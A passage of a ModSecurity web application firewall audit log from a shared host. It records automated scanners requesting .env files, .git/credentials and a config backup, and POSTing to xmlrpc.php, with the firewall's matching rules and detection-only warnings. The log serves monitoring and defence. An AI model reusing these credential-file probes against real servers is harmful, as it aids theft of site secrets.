--c0fe5551-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=485aec7c56ebe53d7ad18a5eb88b25771750039887; expires=Mon, 16 Jun 2025 03:11:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c0fe5551-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/httpd.conf.backup"] [unique_id "aE99T4kQyF8-ounHsxsLBgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039887476096 651222 (- - -) Stopwatch2: 1750039887476096 651222; combined=2034, p1=341, p2=1607, p3=0, p4=0, p5=85, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0fe5551-Z-- --42ce5f54-A-- [16/Jun/2025:07:41:29.219953 +0530] aE99UFLyTgTLRBnIBDZgYgAAAAM 185.177.72.210 46764 127.0.0.1 7081 --42ce5f54-B-- GET /functions/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42ce5f54-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33d6d1738a701a7048216b256d71eae21750039889; expires=Mon, 16 Jun 2025 03:11:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42ce5f54-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/functions/.env"] [unique_id "aE99UFLyTgTLRBnIBDZgYgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039888461703 758313 (- - -) Stopwatch2: 1750039888461703 758313; combined=1780, p1=332, p2=1359, p3=0, p4=0, p5=89, sr=81, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42ce5f54-Z-- --aac4e92c-A-- [16/Jun/2025:07:41:35.286739 +0530] aE99VlLyTgTLRBnIBDZgZwAAAAM 128.199.112.101 35390 127.0.0.1 7081 --aac4e92c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 506 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --aac4e92c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --aac4e92c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE99VlLyTgTLRBnIBDZgZwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039894346033 940773 (- - -) Stopwatch2: 1750039894346033 940773; combined=2146, p1=395, p2=1379, p3=41, p4=64, p5=166, sr=116, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aac4e92c-Z-- --ce2eb320-A-- [16/Jun/2025:07:41:38.438489 +0530] aE99WQD0DwMUVKUIct3aRgAAAAI 185.177.72.210 35538 127.0.0.1 7081 --ce2eb320-B-- GET /:8880/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce2eb320-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=43577cb988c0447677821cd0064f6bf21750039898; expires=Mon, 16 Jun 2025 03:11:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce2eb320-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/staging2/.env"] [unique_id "aE99WQD0DwMUVKUIct3aRgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039897722823 715729 (- - -) Stopwatch2: 1750039897722823 715729; combined=1915, p1=357, p2=1435, p3=0, p4=0, p5=122, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce2eb320-Z-- --145f9955-A-- [16/Jun/2025:07:41:41.451547 +0530] aE99XOMjvy_LHXlMeRAXvwAAAAU 185.177.72.210 57316 127.0.0.1 7081 --145f9955-B-- GET /Exercise.Frontend/train/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --145f9955-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=88c8fb0668cd88aa6b4ea7203ad0ea2f1750039901; expires=Mon, 16 Jun 2025 03:11:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --145f9955-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Exercise.Frontend/train/.env"] [unique_id "aE99XOMjvy_LHXlMeRAXvwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039900808339 643314 (- - -) Stopwatch2: 1750039900808339 643314; combined=2473, p1=500, p2=1838, p3=0, p4=0, p5=135, sr=137, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --145f9955-Z-- --d899b528-A-- [16/Jun/2025:07:41:43.449583 +0530] aE99XkN_xpBAtP8SIP07ywAAAAo 185.177.72.210 57382 127.0.0.1 7081 --d899b528-B-- GET /:5000/developer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d899b528-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=12f41fb25ee20d5b06ea44b54d856c881750039903; expires=Mon, 16 Jun 2025 03:11:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d899b528-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/developer/.env"] [unique_id "aE99XkN_xpBAtP8SIP07ywAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039902812741 636903 (- - -) Stopwatch2: 1750039902812741 636903; combined=1726, p1=349, p2=1289, p3=0, p4=0, p5=87, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d899b528-Z-- --4daf6d3b-A-- [16/Jun/2025:07:41:49.509606 +0530] aE99ZGCnKbldJKSM7awdNQAAAAc 185.177.72.210 57636 127.0.0.1 7081 --4daf6d3b-B-- GET /admin-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4daf6d3b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=145b57b447543dfe380d1f3dacc79e311750039909; expires=Mon, 16 Jun 2025 03:11:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4daf6d3b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin-app/.env"] [unique_id "aE99ZGCnKbldJKSM7awdNQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039908853993 655692 (- - -) Stopwatch2: 1750039908853993 655692; combined=1878, p1=370, p2=1406, p3=0, p4=0, p5=101, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4daf6d3b-Z-- --dec72957-A-- [16/Jun/2025:07:41:59.295106 +0530] aE99b0N_xpBAtP8SIP072AAAAAo 223.233.68.38 44982 127.0.0.1 7081 --dec72957-B-- POST /xmlrpc.php HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 223.233.68.38 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 683 Content-Type: text/xml; charset=utf-8 Accept: */* Accept-Language: en-IN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 --dec72957-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding,User-Agent Content-Type: text/xml; charset=UTF-8 --dec72957-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 223.233.68.38 (+1 hits since last alert)|archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 223.233.68.38 (+1 hits since last alert)|archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "archangledesignstudio.com"] [uri "/xmlrpc.php"] [unique_id "aE99b0N_xpBAtP8SIP072AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039919056844 238339 (- - -) Stopwatch2: 1750039919056844 238339; combined=2144, p1=365, p2=1419, p3=53, p4=45, p5=166, sr=91, sw=96, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dec72957-Z-- --dd002570-A-- [16/Jun/2025:07:41:59.515047 +0530] aE99bgS4XDlCv3KXioQKRgAAAAY 185.177.72.210 44948 127.0.0.1 7081 --dd002570-B-- GET /httpdocs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dd002570-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f67cf646b9ac96bb87199c5a50075a461750039919; expires=Mon, 16 Jun 2025 03:11:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dd002570-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/httpdocs/.env"] [unique_id "aE99bgS4XDlCv3KXioQKRgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039918860345 654765 (- - -) Stopwatch2: 1750039918860345 654765; combined=1998, p1=466, p2=1442, p3=0, p4=0, p5=90, sr=147, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd002570-Z-- --926f7f1b-A-- [16/Jun/2025:07:42:02.808977 +0530] aE99cuMjvy_LHXlMeRAXzwAAAAU 185.177.72.210 34282 127.0.0.1 7081 --926f7f1b-B-- GET /:8880/bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --926f7f1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=59b1339c065ab7c0ec494d4470d3cf6f1750039922; expires=Mon, 16 Jun 2025 03:12:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --926f7f1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/bootstrap/.env"] [unique_id "aE99cuMjvy_LHXlMeRAXzwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039922090136 718905 (- - -) Stopwatch2: 1750039922090136 718905; combined=1915, p1=387, p2=1422, p3=0, p4=0, p5=105, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --926f7f1b-Z-- --8fdc9b59-A-- [16/Jun/2025:07:42:06.996117 +0530] aE99dokQyF8-ounHsxsLKAAAAA8 185.177.72.210 34454 127.0.0.1 7081 --8fdc9b59-B-- GET /:9000/.env.2 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8fdc9b59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=081fe7aab4b03a222a4fa7118cfd76c11750039926; expires=Mon, 16 Jun 2025 03:12:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8fdc9b59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.2"] [unique_id "aE99dokQyF8-ounHsxsLKAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039926305839 690340 (- - -) Stopwatch2: 1750039926305839 690340; combined=1924, p1=380, p2=1455, p3=0, p4=0, p5=89, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8fdc9b59-Z-- --5b06d652-A-- [16/Jun/2025:07:42:12.409592 +0530] aE99e2CnKbldJKSM7awdQgAAAAc 185.177.72.210 58424 127.0.0.1 7081 --5b06d652-B-- GET /:8000/.git/credentials HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b06d652-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a869578883bc14f22e1f1401c4d181461750039932; expires=Mon, 16 Jun 2025 03:12:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b06d652-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.git/credentials"] [unique_id "aE99e2CnKbldJKSM7awdQgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039931722447 687249 (- - -) Stopwatch2: 1750039931722447 687249; combined=2017, p1=366, p2=1517, p3=0, p4=0, p5=133, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b06d652-Z-- --9ca0d137-A-- [16/Jun/2025:07:42:17.956213 +0530] aE99geMjvy_LHXlMeRAX2gAAAAU 185.177.72.210 59040 127.0.0.1 7081 --9ca0d137-B-- GET /well-known/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9ca0d137-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=52d3628acd3a3158e33840f2e76f8f6c1750039937; expires=Mon, 16 Jun 2025 03:12:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9ca0d137-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/well-known/.env"] [unique_id "aE99geMjvy_LHXlMeRAX2gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039937255870 700404 (- - -) Stopwatch2: 1750039937255870 700404; combined=1781, p1=389, p2=1289, p3=0, p4=0, p5=102, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9ca0d137-Z-- --2463e03c-A-- [16/Jun/2025:07:42:19.938769 +0530] aE99g_vF1ly0gx5reNmHNwAAAAE 185.177.72.210 59136 127.0.0.1 7081 --2463e03c-B-- GET /:8008/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2463e03c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=83d58eb8462e63349a7e3520de3bf1031750039939; expires=Mon, 16 Jun 2025 03:12:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2463e03c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/frontend/.env"] [unique_id "aE99g_vF1ly0gx5reNmHNwAAAAE"] Apache-Handler: 